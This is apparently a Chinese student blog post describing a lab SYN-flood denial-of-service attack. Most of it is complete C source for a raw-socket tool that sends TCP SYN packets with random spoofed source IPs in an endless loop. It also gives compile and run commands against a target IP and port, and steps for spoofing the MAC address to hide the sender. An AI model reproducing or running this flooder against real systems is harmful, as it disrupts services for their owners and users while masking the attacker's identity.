使用CentOS系统 靶机使用Kali系统
首先做攻击前准备,修改MAC地址:
命令#ifconfig查看网卡信息确定本网卡的名字
命令# vi /etc/sysconfig/network-scripts/ifcfg-ens33修改网卡配置文件,‘i’进入编辑模式,编辑完成esc推出编辑模式,‘:’进入命令模式键入“wq”保存退出。
添加了MACADDR=00:00:00:00:00:01,将mac地址修改为00:00:00:00:00:00:01,(删除后,ip恢复原来ip)。
#reboot重启生效
#ipconfig确认是否修改成功
程序:
/******************** DOS.c *****************/
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/types.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <netdb.h>
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
int main(int argc,char **argv)//命令行输入要攻击的IP和端口号
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1,DESTPORT;
if (argc < 3)
{
fprintf(stderr,"usage %s hostname port\n", argv[0]);
exit(0);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
DESTPORT = atoi(argv[2]);
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);//使用IPPROTO_TCP 创建一个TCP 的原始套接字
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));//设置IP 数据包格式,告诉系统内核模块IP 数据包由我们自己来填写
setuid(getpid());//权限,只用超级护用户才可以使用原始套接字
send_tcp(sockfd,&addr);//调用函数开始攻击
}
void send_tcp(int sockfd,struct sockaddr_in *addr)//攻击函数
{
char buffer[100]; //用来放置数据包
struct ip *ip;
struct tcphdr *tcp;
int head_len;
head_len=sizeof(struct ip)+sizeof(struct tcphdr);//数据包没有内容,所以长度就是两个结构的长度
bzero(buffer,100);
/******** 填充IP 数据包的头部******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; //协议版本号 IPV4
ip->ip_hl=sizeof(struct ip)>>2; //IP 数据包的头部长度
ip->ip_tos=0; //服务类型
ip->ip_len=htons(head_len); //IP 数据包的长度
ip->ip_id=0; //标识这个IP数据包
ip->ip_off=0; //碎片偏移
ip->ip_ttl=MAXTTL; //生存时间 最大255
ip->ip_p=IPPROTO_TCP; //声明数据包类型 TCP包
ip->ip_sum=0; //校验
ip->ip_dst=addr->sin_addr; //目的ip
/*TCP数据包*/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);//源端口
tcp->dest=addr->sin_port; //目的端口
tcp->seq=random();//开始序列号
tcp->ack_seq=0;//确认号
tcp->doff=5;//数据首部长度
tcp->syn=1; //请求连接
tcp->check=0;//对TCP数据进行校核
/*数据包填充完成*/
while(1)//死循环
{
ip->ip_src.s_addr=random();//一直更换随机IP
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr));//发送
}
}
#gcc -o DOS DOS.c 编译(必须有root权限)
#./DOS 目标IP 目标端口 运行程序
同时我启用靶机中的wireshark进行抓包分析:
可以看出数据包中的MAC和IP都是假的。
原始套接字直接在数据链路层上生成数据包,所以IP可以自己编写,但是MAC不能再程序中进行编辑,所以需要配置网卡配置文件对MAC进行修改。
另外Kali修改MAC时可以使用命令:
#ifconfig 网卡名 down //关闭网卡
#ifconfig 网卡名 hw ether 00:00:00:00:00:01 //配置
#ifconfig 网卡名 up //启用
(不要重启系统,关机后配置还原)
本人能力有限,且正在处于学习阶段,如有大神路过还望在评论区指正。